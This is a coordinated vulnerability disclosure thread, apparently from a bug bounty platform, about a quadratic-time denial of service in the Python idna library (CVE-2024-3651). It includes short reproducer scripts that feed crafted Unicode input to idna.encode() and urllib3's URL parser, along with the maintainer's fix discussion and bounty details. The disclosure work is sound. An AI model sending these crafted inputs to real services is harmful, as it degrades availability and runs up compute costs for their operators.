

# idna encode() quadratic complexity leading to denial of service in kjd/idna

✓ Valid

Reported on Mar 18th 2024

A crafted input string can take `idna.encode()` a long time to process. Reproducer:

```
import idna
SIZE = 16384
header = [0x32, 0xdf, 0x8d]
middle = [0xe2, 0x80, 0x8c] * SIZE
footer = [0xdf, 0x8c]
b = bytes(header) + bytes(middle) + bytes(footer)
d = b.decode('utf-8')
idna.encode(d.lower(), strict=True, std3_rules=True)
```

One high-profile library affected is `urllib3` where parsing a crafted URL can impose considerable a computational load.

```
import urllib3
SIZE = 16384
header = [0x32, 0xdf, 0x8d]
middle = [0xe2, 0x80, 0x8c] * SIZE
footer = [0xdf, 0x8c]
b = bytes(header) + bytes(middle) + bytes(footer)
d = b.decode('utf-8')
urllib3.util.url.parse_url(d)
```

This takes approx. 75 seconds with a 16kb input string on my machine, and since the processing logic in `idna` has quadratic complexity, each doubling of the input size quadruples the running time.

I've selected 'network' as the attack vector because although this software capable of running locally, there are plenty of cases where this can be invoked remotely.

## Impact

URL parsing is ubiquitous and relatively small malicious payloads can incur a large computational load. Repeated/concurrent exploitation of this bug in susceptible API endpoints or ingestion mechanisms can reasonably be expected to reduce availability or rack up compute costs.

# Occurrences

 core.py L149-L167

These two loops are executed for every inner loop:

<https://github.com/kjd/idna/blob/60a0a4cb61ec6834d74306bd8a1fa46daac94c98/idna/core.py#L234-L242>

⚙️ We are processing your report and will contact the **kjd/idna** team within 24 hours. 2 years ago

⚠️ We were unable to make contact with the **kjd/idna** team automatically, our community manager will try to reach out to them instead. 2 years ago



**gvranken** commented 2 years ago

Researcher

Do you have an update you can share on this please? Were you able to contact the maintainer?



**gvranken** commented 2 years ago

Researcher

Are you processing this report? Did you even read it?

✉️ We have sent a magic link to the **kjd/idna** team via the email provided in their **security policy** 2 years ago



**Dan McInerney** commented 2 years ago

Admin

Maintainer contacted. Ultimately, this is a DoS condition in a local library which generally is not considered impactful enough for a CVE, but we'll let the maintainer weigh in with their opinion in the standard 45 day window.



**Kim Davies** commented 2 years ago

Maintainer

Hard to say whether to classify it as a vulnerability in the idna library itself, it is implementing the standard-specified algorithm faithfully, but I agree there is room for optimization.

I see two candidate areas for improvement:

- Domain names cannot exceed 254 characters in length, which is checked later in the function, so the length check could be moved to earlier in processing which would eliminate the need to do the number of context evaluations performed for this 16k input.

- Making some of the evaluation loop more explicit (i.e. computation of Joiner Type "T") through precomputation allows dismissal of this string prior to the bulk of the iteration.

I've implemented #2 here and it seems to greatly improve how this string is handled:  
<https://github.com/kjd/idna/commit/5beb28b9dd77912c0dd656d8b0fdb3eb80222e7>



A **kjd/idna** maintainer has acknowledged this report 2 years ago



The scheduled publication date was automatically extended from 1st Jul 2024 to 8th Jul 2024 due to the maintainers acknowledgement of the report 2 years ago



**gvranken** commented 2 years ago

Researcher

Thank you @kjd. I have confirmed that your patch drastically reduces the execution time from ~75 sec to a fraction of a second and I cannot find any other slow code paths in idna encode() or decode().



**Kim Davies** commented 2 years ago

Maintainer

I plan on applying the patch to the source repository and adding it to the change log. Its been my practice to acknowledge bug reports — do you want to be credited, and if so, how?



**Dan McInerney** modified the Severity from High (7.5) to Medium (6.2) 2 years ago



**Dan McInerney** commented 2 years ago

Admin

@kjd, you can the green "Resolve" button at the bottom of this page and select "Valid". That will issue a CVE crediting this report and the reporter in the references of the CVE and release the bounty to the reporter.



**gvranken** commented 2 years ago

Researcher

Hi @kjd, feel free to credit me, my name is Guido Vranken and my username on Github is guidovranken (different from the GH username I'm using for Huntr since I don't want to use OAuth using my main GH profile).



**Kim Davies** commented 2 years ago

Maintainer

@Dan McInerney, there is no Resolve button, only a comment field and a comment button.



**Pavlos** commented 2 years ago

Sorry about that Kim, can you check now please?



Kim Davies commented 2 years ago

Maintainer

Sorry, still nothing other than the ability to add a comment.



Pavlos commented 2 years ago

Sent you an email



The researcher has received a minor penalty to their credibility for miscalculating the severity: -1



Kim Davies validated this vulnerability 2 years ago

\$ gvranken has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs



The researcher's credibility has increased: +7



CVE-2024-3651 assigned to this report. 2 years ago



Kim Davies commented 2 years ago

Maintainer

This is an abbreviated reproduction of the above code that exhibits the behaviour.

```
import idna
s = "2\u007cd" + ("\u200c"*16384) + "\u07cc"
idna.encode(s)
```



Kim Davies marked this as fixed in 3.7 with commit 1d365e 2 years ago

\$ Kim Davies has been awarded the fix bounty ✓

\$ core.py#L149-L167 has been validated ✓



We have sent a warning to the kjd/idna team to inform them that this report will be published in 48 hours 2 years ago



This vulnerability has now been published 2 years ago



CVE-2024-3651 has now been published 2 years ago

CVE  
CVE-2024-3651  
Published

Vulnerability Type  
CWE-1333: Inefficient Regular Expression Complexity

Severity

Medium (6.2)

|                     |           |
|---------------------|-----------|
| Attack vector       | Local     |
| Attack complexity   | Low       |
| Privileges required | None      |
| User interaction    | None      |
| Scope               | Unchanged |
| Confidentiality     | None      |
| Integrity           | None      |
| Availability        | High      |

[Open in visual CVSS calculator](#)

Registry  
Pypi

Affected Version  
3.6

Visibility  
Public

Status  
Fixed

Disclosure Bounty  
\$125

Fix Bounty  
\$31.25

Found by



**gvranken**  
@gvranken  

UNPROVEN

Fixed by



**Kim Davies**  
@kjd  

UNPROVEN

